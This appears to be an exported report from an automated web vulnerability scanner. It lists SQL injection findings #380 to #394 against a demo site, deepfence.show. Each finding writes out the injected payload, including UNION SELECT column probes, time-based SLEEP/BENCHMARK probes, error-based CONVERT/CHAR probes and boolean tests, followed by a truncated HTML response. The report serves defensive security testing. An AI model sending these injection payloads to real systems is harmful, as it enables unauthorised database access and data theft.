z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #380Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #381
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #382
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #383
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" or ""^"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #384
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io " or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #385
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #386
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #387
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A')),4,5,6,7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #388
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #389
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1' ORDER BY 1,2--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #390
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #391Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io-- or #
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #392
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88
)+CHAR(88)+CHAR(88)+CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #393
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOR 1=0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #394
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(
88)+CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
